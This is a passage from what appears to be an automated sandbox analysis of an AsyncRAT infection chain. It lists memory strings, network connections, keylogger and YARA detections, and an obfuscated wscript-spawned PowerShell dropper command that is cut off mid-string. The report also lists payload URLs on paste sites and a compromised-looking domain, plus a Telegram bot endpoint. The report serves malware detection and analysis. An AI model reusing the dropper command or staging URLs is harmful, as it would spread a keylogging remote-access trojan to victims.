00000035.00000002.2425933120.000001D332D7A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2666286370.000001D9870E4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                  Source: powershell.exe, 00000005.00000002.1896186167.000002B69A702000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1895604908.0000024FE2752000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
                  Source: powershell.exe, 00000010.00000002.1930109525.00000220D33A2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                  Source: powershell.exe, 00000010.00000002.1926571545.00000220D1494000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2824594158.000001E6F71F8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.co
                  Source: powershell.exe, 00000005.00000002.2334258140.000002B6B29B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.i
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177D8CC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1896186167.000002B69A4E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1895604908.0000024FE2531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2087771963.00000182AAD91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1930109525.00000220D3171000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECDF7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECDF69000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E68005E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E68004B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2229713334.0000020922D6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2229713334.0000020922D5F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D27E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D269000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.2332458861.000001709AA8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.2332458861.000001709AA9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015585FFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015585FE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2361827508.0000025F80033000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2361827508.0000025F8005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2496598586.000001628D04E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2496598586.000001628D03B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://analytics.paste.ee
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://analytics.paste.ee;
                  Source: powershell.exe, 00000014.00000002.2013251264.0000020ECE7E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECE53D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E6808CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E6805BB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.2087880132.0000000000402000.00000040.00000400.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3DAEF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.000001558655B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D3332B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D3335B0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdnjs.cloudflare.com
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdnjs.cloudflare.com;
                  Source: powershell.exe, 00000010.00000002.1930109525.00000220D4AEC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                  Source: powershell.exe, 00000010.00000002.1930109525.00000220D4AEC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                  Source: powershell.exe, 00000010.00000002.1930109525.00000220D4AEC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177D9144000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://fonts.gstatic.com;
                  Source: powershell.exe, 00000010.00000002.1930109525.00000220D33A2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                  Source: powershell.exe, 00000032.00000002.2496598586.000001628D6EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2666286370.000001D9875DD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA574000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://masclauxtoitures.fr
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA574000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://masclauxtoitures.fr/X67h2024kNWORM.txt
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA574000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://masclauxtoitures.fr/X67h2024kNWORM.txtP
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA574000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://masclauxtoitures.fr/x67h2024knworm.txt
                  Source: powershell.exe, 00000005.00000002.2087171202.000002B6AA552000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1977461538.0000024FF25A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3165334469.00000220E31E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3165334469.00000220E3327000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1930109525.00000220D4AEC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177D91EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D8EE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA476000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee
                  Source: dll01.txt.3.drString found in binary or memory: https://paste.ee/d/I1o5h/0
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177D8EE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA476000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA44D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee/d/Nbuiz/0
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA476000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee/d/Nbuiz/0P
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177D91EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91CE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee/d/aGYNy/0
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177D91EF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee/d/aGYNy/0P
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA4C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECE788000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E68086E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3DAA2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015586824000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.000001558681C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D33355A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D333562000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA4C7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA4C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/CPCMnN7k
                  Source: powershell.exe, 00000014.00000002.2013251264.0000020ECE53D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E6805BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015586710000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D3332B9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/GF0ptUGb
                  Source: powershell.exe, 0000002C.00000002.3141181707.000001559E13A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/GF0ptUGb)
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://secure.gravatar.com
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177D9144000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://themes.googleusercontent.com
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177D9144000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com;
                  Source: powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49780
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49780 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
                  Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49737 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 64.235.43.128:443 -> 192.168.2.4:49740 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49746 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49747 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49748 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49750 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49752 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49780 version: TLS 1.2

                  Key, Mouse, Clipboard, Microphone and Screen Capturing

                  barindex
                  Contains functionality to log keystrokes (.Net Source)
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, XLogger.cs.Net Code: KeyboardLayout
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, XLogger.cs.Net Code: KeyboardLayout
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, XLogger.cs.Net Code: KeyboardLayout
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, XLogger.cs.Net Code: KeyboardLayout
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, XLogger.cs.Net Code: KeyboardLayout
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow created: window name: CLIPBRDWNDCLASS
                  Source: powershell.exeProcess created: 58

                  System Summary

                  barindex
                  Malicious sample detected (through community Yara rule)
                  Source: 53.2.powershell.exe.1d3333e0230.0.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 44.2.powershell.exe.1558669f3b8.0.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 36.2.powershell.exe.1de3d91f608.1.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 28.2.powershell.exe.1e6806fed08.1.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 20.2.powershell.exe.20ece618be0.0.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 44.2.powershell.exe.1558669b658.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 28.2.powershell.exe.1e6806fafa8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 20.2.powershell.exe.20ece614e80.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 36.2.powershell.exe.1de3d91b8a8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 53.2.powershell.exe.1d3333dc4d0.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 00000020.00000002.2087880132.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 00000035.00000002.2425933120.000001D3332B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 00000014.00000002.2013251264.0000020ECE7E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 00000035.00000002.2425933120.000001D3335B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 0000002C.00000002.2333261639.000001558655B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 00000014.00000002.2013251264.0000020ECE53D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 0000001C.00000002.2070695014.000001E6808CE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 00000024.00000002.2195585060.000001DE3DAEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: 0000001C.00000002.2070695014.000001E6805BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects AsyncRAT Author: ditekSHen
                  Source: Process Memory Space: powershell.exe PID: 6536, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                  Source: Process Memory Space: powershell.exe PID: 8080, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                  Source: Process Memory Space: powershell.exe PID: 2568, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                  Source: Process Memory Space: powershell.exe PID: 1820, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                  Source: Process Memory Space: powershell.exe PID: 8700, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                  Source: Process Memory Space: powershell.exe PID: 8224, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                  Windows Scripting host queries suspicious COM object (likely to drop second stage)
                  Source: C:\Windows\System32\wscript.exeCOM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{13709620-C279-11CE-A49E-444553540000}Jump to behavior
                  Wscript starts Powershell (via cmd or directly)
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + 